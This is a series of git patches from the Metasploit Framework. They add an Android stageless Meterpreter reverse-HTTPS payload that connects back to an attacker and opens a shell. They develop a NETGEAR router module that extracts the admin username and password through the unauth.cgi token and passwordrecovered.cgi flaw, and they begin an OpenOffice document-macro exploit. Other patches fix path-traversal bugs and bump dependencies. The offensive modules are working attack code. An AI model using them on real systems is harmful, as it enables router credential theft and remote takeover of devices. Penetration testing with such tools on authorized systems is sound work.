0cec4be107bdf0dda5188ad257eeaa2624d4a845 Mon Sep 17 00:00:00 2001 From: sekritskwurl Date: Mon, 6 Feb 2017 14:59:43 +0400 Subject: [PATCH 093/426] Android Stageless Meterpreter over HTTPS Change to add functionality for stateless meterpreter over HTTPS --- .../android/meterpreter_reverse_https.rb | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 modules/payloads/singles/android/meterpreter_reverse_https.rb diff --git a/modules/payloads/singles/android/meterpreter_reverse_https.rb b/modules/payloads/singles/android/meterpreter_reverse_https.rb new file mode 100644 index 0000000000..aaf6b6bec9 --- /dev/null +++ b/modules/payloads/singles/android/meterpreter_reverse_https.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/android' +require 'msf/core/payload/uuid/options' +require 'msf/base/sessions/meterpreter_android' +require 'msf/base/sessions/meterpreter_options' +require 'rex/payloads/meterpreter/config' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::TransportConfig + include Msf::Payload::Single + include Msf::Payload::Android + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + + def initialize(info = {}) + + super(merge_info(info, + 'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Java_Android, + 'Payload' => '', + )) + register_options([ + OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) + ], self.class) + end + + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + def generate_jar(opts={}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len) + opts[:stageless] = true + super(opts) + end + +end From 99227aca1a9c44ff41bbb9a77d965db957d7b627 Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 09:44:35 -0500 Subject: [PATCH 094/426] Fix things from review --- .../auxiliary/gather/netgear_password_disclosure.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 4694b0c1b3..6a42e8539c 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -1,4 +1,3 @@ -# -*- coding: binary -*- ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -14,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary super(update_info(info, 'Name' => 'NETGEAR Administrator Password Disclosure', 'Description' => %q{ - This module will collect the the password for the `admin` user. + This module will collect the password for the `admin` user. The exploit will not complete if password recovery is set on the router. The password is recieved by passing the token generated from `unauth.cgi` to `passwordrecovered.cgi`. This exploit works on many different NETGEAR @@ -46,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary # @return substring of 'text', usually a response from a server in this case def scrape(text, start_trig, end_trig) - return text[/#{start_trig}(.*?)#{end_trig}/m, 1] + text[/#{start_trig}(.*?)#{end_trig}/m, 1] end def run @@ -63,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary marker_one = "id=" marker_two = "\"" token = scrape(res.to_s, marker_one, marker_two) - if token == nil + if token.nil? print_error("#{rhost} is not vulnerable: Token not found") return end @@ -71,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") r = send_request_raw({'uri' => "/passwordrecovered.cgi?id=#{token}"}) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") - if r.to_s.include?('left">') != nil + if r.to_s.include?('left">') username = scrape(r.to_s, "Router Admin Username", "") password = scrape(r.to_s, "Router Admin Password", "") print_good("Creds found: #{username}/#{password}") @@ -89,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary def check #NOTE: this is working res = send_request_raw({'uri'=>'/'}) unless res - fail_with(Failure::Unknown, 'Connection timed out.') + fail_with(Failure::Unreachable, 'Connection timed out.') end data = res.to_s From f5450a718a1607be6e753d5b9790fb149f584725 Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 11:54:29 -0500 Subject: [PATCH 095/426] Add TARGETURI datastore option --- .../auxiliary/gather/netgear_password_disclosure.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 6a42e8539c..9339ebc74e 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -39,7 +39,8 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort::new('RPORT', [true, 'The port to connect to RHOST with', 80]), - OptString::new('RHOST', [true, 'The router target ip address', nil]) + OptString::new('RHOST', [true, 'The router target ip address', nil]), + OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/']) ], self.class) end @@ -50,6 +51,8 @@ class MetasploitModule < Msf::Auxiliary def run rhost = datastore['RHOST'] + uri = target_uri.path + uri = normalize_uri(uri) print_status("Checking if #{rhost} is a NETGEAR router") vprint_status("Sending request to http://#{rhost}/") @@ -73,7 +76,11 @@ class MetasploitModule < Msf::Auxiliary if r.to_s.include?('left">') username = scrape(r.to_s, "Router Admin Username", "") password = scrape(r.to_s, "Router Admin Password", "") - print_good("Creds found: #{username}/#{password}") + if username == "" || password == "" + print_error("No Creds found") + else + print_good("Creds found: #{username}/#{password}") + end else print_error("#{rhost} is not vulnerable because password recovery is on.") end From 16c648062962c3f653a1df615977890dc3a3fc32 Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 12:10:01 -0500 Subject: [PATCH 096/426] Add response checks I can't test this right now as I'm not at a computer that has metasploit installed, but I'll test it when I get a chance to. --- .../gather/netgear_password_disclosure.rb | 34 ++++++++++++------- 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 9339ebc74e..f9a49a4366 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -59,7 +59,12 @@ class MetasploitModule < Msf::Auxiliary # will always call check no matter what is_ng = check - res = send_request_raw({ 'uri' => '/'}) + res = send_request_cgi({ 'uri' => uri }) + + if res.nil? + print_error("#{rhost} returned an empty response.") + return + end if is_ng == Exploit::CheckCode::Detected marker_one = "id=" @@ -71,7 +76,7 @@ class MetasploitModule < Msf::Auxiliary end print_status("Token found: #{token}") vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") - r = send_request_raw({'uri' => "/passwordrecovered.cgi?id=#{token}"}) + r = send_request_cgi({'uri' => "/passwordrecovered.cgi?id=#{token}"}) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") if r.to_s.include?('left">') username = scrape(r.to_s, "Router Admin Username", "") @@ -98,17 +103,22 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::Unreachable, 'Connection timed out.') end - data = res.to_s - # Checks for the `WWW-Authenticate` header in the response - if data.include? "WWW-Authenticate" - marker_one = "Basic realm=\"" - marker_two = "\"" - model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] - print_good("Router is a NETGEAR router (#{model})") - return Exploit::CheckCode::Detected + if res.nil? + print_erro("#{rhost} returned an empty response") + return else - print_error('Router is not a NETGEAR router') - return Exploit::CheckCode::Safe + data = res.to_s + # Checks for the `WWW-Authenticate` header in the response + if data.include? "WWW-Authenticate" + marker_one = "Basic realm=\"" + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + print_good("Router is a NETGEAR router (#{model})") + return Exploit::CheckCode::Detected + else + print_error('Router is not a NETGEAR router') + return Exploit::CheckCode::Safe + end end end end From 52cf9c44df6bb39da993cf09068ebf8f17a5670b Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 12:43:31 -0500 Subject: [PATCH 097/426] Update netgear_password_disclosure.rb --- modules/auxiliary/gather/netgear_password_disclosure.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index f9a49a4366..2f97eb7c9b 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -60,7 +60,6 @@ class MetasploitModule < Msf::Auxiliary is_ng = check res = send_request_cgi({ 'uri' => uri }) - if res.nil? print_error("#{rhost} returned an empty response.") return @@ -76,7 +75,9 @@ class MetasploitModule < Msf::Auxiliary end print_status("Token found: #{token}") vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") - r = send_request_cgi({'uri' => "/passwordrecovered.cgi?id=#{token}"}) + r = send_request_cgi({ + 'uri' => "/passwordrecovered.cgi", + 'vars_get' => "id=#{token}") vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") if r.to_s.include?('left">') username = scrape(r.to_s, "Router Admin Username", "") @@ -98,7 +99,7 @@ class MetasploitModule < Msf::Auxiliary #Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response #This checks the response dor that header. def check #NOTE: this is working - res = send_request_raw({'uri'=>'/'}) + res = send_request_cgi({'uri'=>'/'}) unless res fail_with(Failure::Unreachable, 'Connection timed out.') end From 9b4ca31432b23a27e67153794a782e4cce45352d Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 12:52:41 -0500 Subject: [PATCH 098/426] Fix typo --- modules/auxiliary/gather/netgear_password_disclosure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 2f97eb7c9b..e77a0da35a 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") r = send_request_cgi({ 'uri' => "/passwordrecovered.cgi", - 'vars_get' => "id=#{token}") + 'vars_get' => "id=#{token}"}) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") if r.to_s.include?('left">') username = scrape(r.to_s, "Router Admin Username", "") From 40c86567aa158cfdc5dd25f33aa1f12affbe434b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 6 Feb 2017 15:51:01 -0600 Subject: [PATCH 099/426] import packetfu fix for https://github.com/packetfu/packetfu/pull/163 --- Gemfile.lock | 7 +++---- metasploit-framework.gemspec | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 5bc921e12c..e06496345f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -25,7 +25,7 @@ PATH octokit openssl-ccm openvas-omp - packetfu + packetfu (= 1.1.13.pre) patch_finder pcaprub pg @@ -200,9 +200,8 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - packetfu (1.1.11) - network_interface (~> 0.0) - pcaprub (~> 0.12) + packetfu (1.1.13.pre) + pcaprub patch_finder (1.0.2) pcaprub (0.12.4) pg (0.19.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 43ec078ac5..9ebba5bfb9 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -77,7 +77,7 @@ Gem::Specification.new do |spec| # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu' + spec.add_runtime_dependency 'packetfu', '1.1.13.pre' # For sniffer and raw socket modules spec.add_runtime_dependency 'pcaprub' # Needed for module caching in Mdm::ModuleDetails From 6ebdbc3f815034f57d9aecaa5551d4ac6e10b149 Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 17:29:39 -0500 Subject: [PATCH 100/426] Fix some stuff from review I'm going to change the HTML Regex to a parser a bit later, I don't have time right now --- .../gather/netgear_password_disclosure.rb | 29 +++++++++++-------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index e77a0da35a..3100a38158 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -17,8 +17,9 @@ class MetasploitModule < Msf::Auxiliary The exploit will not complete if password recovery is set on the router. The password is recieved by passing the token generated from `unauth.cgi` to `passwordrecovered.cgi`. This exploit works on many different NETGEAR - products. The full list of affected productsis available here: - http://pastebin.com/dB4bTgxz + products. The full list of affected products is available in the 'References' + section. + }, 'Author' => [ @@ -31,6 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ], [ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'], [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'], + [ 'URL' , 'http://pastebin.com/dB4bTgxz'], [ 'EDB', '41205'] ], 'License' => MSF_LICENSE @@ -38,8 +40,6 @@ class MetasploitModule < Msf::Auxiliary register_options( [ - OptPort::new('RPORT', [true, 'The port to connect to RHOST with', 80]), - OptString::new('RHOST', [true, 'The router target ip address', nil]), OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/']) ], self.class) end @@ -50,7 +50,6 @@ class MetasploitModule < Msf::Auxiliary end def run - rhost = datastore['RHOST'] uri = target_uri.path uri = normalize_uri(uri) print_status("Checking if #{rhost} is a NETGEAR router") @@ -69,15 +68,20 @@ class MetasploitModule < Msf::Auxiliary marker_one = "id=" marker_two = "\"" token = scrape(res.to_s, marker_one, marker_two) + if token.nil? print_error("#{rhost} is not vulnerable: Token not found") return end + print_status("Token found: #{token}") vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") + r = send_request_cgi({ 'uri' => "/passwordrecovered.cgi", - 'vars_get' => "id=#{token}"}) + 'vars_get' => { 'id' => token } + }) + vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") if r.to_s.include?('left">') username = scrape(r.to_s, "Router Admin Username", "") @@ -98,19 +102,20 @@ class MetasploitModule < Msf::Auxiliary #Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response #This checks the response dor that header. - def check #NOTE: this is working + def check + res = send_request_cgi({'uri'=>'/'}) - unless res + if res.nil? fail_with(Failure::Unreachable, 'Connection timed out.') end - if res.nil? - print_erro("#{rhost} returned an empty response") + if !res.to_s.nil? + print_error("#{rhost} returned an empty response") return else - data = res.to_s # Checks for the `WWW-Authenticate` header in the response - if data.include? "WWW-Authenticate" + if res.headers["WWW-Authenticate"] + data = res.to_s marker_one = "Basic realm=\"" marker_two = "\"" model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] From 115c60446e1aff102126bbf1df6ae57894f7f80c Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 17:30:49 -0500 Subject: [PATCH 101/426] Fix weird if loop in check --- modules/auxiliary/gather/netgear_password_disclosure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 3100a38158..50a79767a8 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -109,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::Unreachable, 'Connection timed out.') end - if !res.to_s.nil? + if res.nil? print_error("#{rhost} returned an empty response") return else From 1f2a95c2029af055b422ab19078d2a68e643a4d1 Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 22:03:56 -0500 Subject: [PATCH 102/426] Use html parser instead of regex --- .../gather/netgear_password_disclosure.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 50a79767a8..09cce66e7f 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ], [ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'], [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'], - [ 'URL' , 'http://pastebin.com/dB4bTgxz'], + [ 'URL', 'http://pastebin.com/dB4bTgxz'], [ 'EDB', '41205'] ], 'License' => MSF_LICENSE @@ -83,9 +83,15 @@ class MetasploitModule < Msf::Auxiliary }) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") - if r.to_s.include?('left">') - username = scrape(r.to_s, "Router Admin Username", "") - password = scrape(r.to_s, "Router Admin Password", "") + + html = r.get_html_document + raw_html = html.text + + username = scrape(raw_html, "Router Admin Username", "Router Admin Password") + password = scrape(raw_html, "Router Admin Password", "You can") + username = username.strip! + password = password.strip! + if username == "" || password == "" print_error("No Creds found") else From 00050abb73849e761792e569c56baa487ff8543f Mon Sep 17 00:00:00 2001 From: Carter Date: Mon, 6 Feb 2017 22:06:50 -0500 Subject: [PATCH 103/426] Fix msftidy warnings --- modules/auxiliary/gather/netgear_password_disclosure.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 09cce66e7f..851f0afb0f 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -83,7 +83,7 @@ class MetasploitModule < Msf::Auxiliary }) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") - + html = r.get_html_document raw_html = html.text @@ -91,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary password = scrape(raw_html, "Router Admin Password", "You can") username = username.strip! password = password.strip! - + if username == "" || password == "" print_error("No Creds found") else From 7f759384ab8a6c87538b2d16804fd10de7b4862c Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 7 Feb 2017 14:59:03 +0800 Subject: [PATCH 105/426] fix missing payloads_spec --- spec/modules/payloads_spec.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 16b4389bbd..53a4f7ae1c 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -45,6 +45,16 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'aix/ppc/shell_reverse_tcp' end + context 'android/meterpreter_reverse_https' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/android/meterpreter_reverse_https' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter_reverse_https' + end + context 'android/meterpreter_reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From aac93817787c7825266167311fec7cde3697edbf Mon Sep 17 00:00:00 2001 From: sekritskwurl Date: Tue, 7 Feb 2017 12:13:20 +0400 Subject: [PATCH 106/426] Update meterpreter_reverse_https.rb --- modules/payloads/singles/android/meterpreter_reverse_https.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/payloads/singles/android/meterpreter_reverse_https.rb b/modules/payloads/singles/android/meterpreter_reverse_https.rb index aaf6b6bec9..b402be77a6 100644 --- a/modules/payloads/singles/android/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/android/meterpreter_reverse_https.rb @@ -35,9 +35,6 @@ module MetasploitModule 'Session' => Msf::Sessions::Meterpreter_Java_Android, 'Payload' => '', )) - register_options([ - OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true]) - ], self.class) end # From b4056a110bb95760c07855905b74e2c9fc72b245 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 7 Feb 2017 04:29:43 -0600 Subject: [PATCH 107/426] Print diagnostics if no posts found/given --- .../scanner/http/wordpress_content_injection.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 9c852ba497..809c2da134 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -70,7 +70,10 @@ class MetasploitModule < Msf::Auxiliary def do_list posts_to_list = list_posts - return if posts_to_list.empty? + if posts_to_list.empty? + vprint_status("No posts found at #{full_uri}") + return + end tbl = Rex::Text::Table.new( 'Header' => full_uri, @@ -98,7 +101,10 @@ class MetasploitModule < Msf::Auxiliary posts_to_update << {id: datastore['POST_ID']} end - return if posts_to_update.empty? + if posts_to_update.empty? + vprint_status("No posts to update at #{full_uri}") + return + end posts_to_update.each do |post| res = update_post(post[:id], From cb74d3b05b045d48d901703e98690f4748a8cf8d Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Tue, 7 Feb 2017 23:41:59 +1000 Subject: [PATCH 108/426] Fix CVE-2017-5231 and respect user's dest --- .../post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index b76dda80cf..4fdd0e0a23 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -442,7 +442,7 @@ class Console::CommandDispatcher::Stdapi::Fs files.each do |file| src_separator = client.fs.file.separator src_path = file['path'] + client.fs.file.separator + file['name'] - dest_path = src_path.tr(src_separator, ::File::SEPARATOR) + dest_path = ::File.join(dest, ::Rex::FileUtils::clean_path(file['path'].tr(src_separator, ::File::SEPARATOR))) client.fs.file.download(dest_path, src_path, opts) do |step, src, dst| print_status("#{step.ljust(11)}: #{src} -> #{dst}") From 56cf6b129d5fe820df6f5bc9b79eb16404304403 Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Tue, 7 Feb 2017 23:44:23 +1000 Subject: [PATCH 109/426] Fix CVE-2017-5228 --- lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index 8f2a26004c..eb2550ef9b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -222,7 +222,11 @@ class Dir < Rex::Post::Dir end dir_files.each { |src_sub| - dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) + dst_sub = src_sub.dup + dst_sub.gsub!(::File::SEPARATOR, '_') # '/' on all systems + dst_sub.gsub!(::File::ALT_SEPARATOR, '_') if ::File::ALT_SEPARATOR # nil on Linux, '\' on Windows + + dst_item = ::File.join(dst, client.unicode_filter_encode(dst_sub)) src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub) if (src_sub == '.' or src_sub == '..') From c1f9b724cf1388dd207b81def039e5c0f2d353b2 Mon Sep 17 00:00:00 2001 From: Carter Date: Tue, 7 Feb 2017 10:36:05 -0500 Subject: [PATCH 110/426] Maybe fix syntax error --- modules/auxiliary/gather/netgear_password_disclosure.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 851f0afb0f..80a13bec5a 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -97,9 +97,6 @@ class MetasploitModule < Msf::Auxiliary else print_good("Creds found: #{username}/#{password}") end - else - print_error("#{rhost} is not vulnerable because password recovery is on.") - end else print_error("#{rhost} is not vulnerable: Not a NETGEAR device") return From f4580a261614d9041d388ca97856b3bff8e95cf3 Mon Sep 17 00:00:00 2001 From: Carter Date: Tue, 7 Feb 2017 10:53:25 -0500 Subject: [PATCH 111/426] Add token value check Sometimes it wouldn't return creds if the token is 0. It usually works after running it another time. --- modules/auxiliary/gather/netgear_password_disclosure.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 80a13bec5a..59e3c21cf1 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -74,6 +74,9 @@ class MetasploitModule < Msf::Auxiliary return end + if token == '0' + print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0") + end print_status("Token found: #{token}") vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") From cefbee2df48e6e4e7b2d073f448624b09118ea05 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Feb 2017 10:12:23 -0600 Subject: [PATCH 112/426] Add PoC for OpenOffice macro module --- .../Basic/Standard/Module1.xml | 8 ++ .../Basic/Standard/script-lb.xml | 5 + .../Basic/script-lc.xml | 5 + .../Configurations2/accelerator/current.xml | 0 .../META-INF/manifest.xml | 15 +++ .../Thumbnails/thumbnail.png | Bin 0 -> 728 bytes .../openoffice_document_macro/content.xml | 2 + .../openoffice_document_macro/manifest.rdf | 18 +++ .../openoffice_document_macro/meta.xml | 2 + .../openoffice_document_macro/mimetype | 1 + .../openoffice_document_macro/settings.xml | 2 + .../openoffice_document_macro/styles.xml | 2 + .../fileformat/openoffice_document_macro.rb | 121 ++++++++++++++++++ 13 files changed, 181 insertions(+) create mode 100644 data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml create mode 100644 data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml create mode 100644 data/exploits/openoffice_document_macro/Basic/script-lc.xml create mode 100644 data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml create mode 100644 data/exploits/openoffice_document_macro/META-INF/manifest.xml create mode 100644 data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png create mode 100644 data/exploits/openoffice_document_macro/content.xml create mode 100644 data/exploits/openoffice_document_macro/manifest.rdf create mode 100644 data/exploits/openoffice_document_macro/meta.xml create mode 100644 data/exploits/openoffice_document_macro/mimetype create mode 100644 data/exploits/openoffice_document_macro/settings.xml create mode 100644 data/exploits/openoffice_document_macro/styles.xml create mode 100644 modules/exploits/multi/fileformat/openoffice_document_macro.rb diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml new file mode 100644 index 0000000000..61bfb030c5 --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml @@ -0,0 +1,8 @@ + + +REM ***** BASIC ***** + +Sub OnLoad +MsgBox "Auto1111?" +End Sub + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml b/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml new file mode 100644 index 0000000000..45710ba3f8 --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Basic/script-lc.xml b/data/exploits/openoffice_document_macro/Basic/script-lc.xml new file mode 100644 index 0000000000..43beef090b --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/script-lc.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml b/data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml new file mode 100644 index 0000000000..e69de29bb2 diff --git a/data/exploits/openoffice_document_macro/META-INF/manifest.xml b/data/exploits/openoffice_document_macro/META-INF/manifest.xml new file mode 100644 index 0000000000..76e8cd87ac --- /dev/null +++ b/data/exploits/openoffice_document_macro/META-INF/manifest.xml @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png b/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png new file mode 100644 index 0000000000000000000000000000000000000000..6b140e29834c06a3525597215ca382355a165919 GIT binary patch literal 728 zcmeAS@N?(olHy`uVBq!ia0vp^#~2tG8911LtaST%;tUK-^F3W0Ln`LHy|j^&!GPz$ z2EL#FpMK$VUg#lS@!`$8#&di49+*#4O4CdlB}T)5{^>w`ML65PO^Xko2c}pCPgg&e IbxsLQ0LLcsZ2$lO literal 0 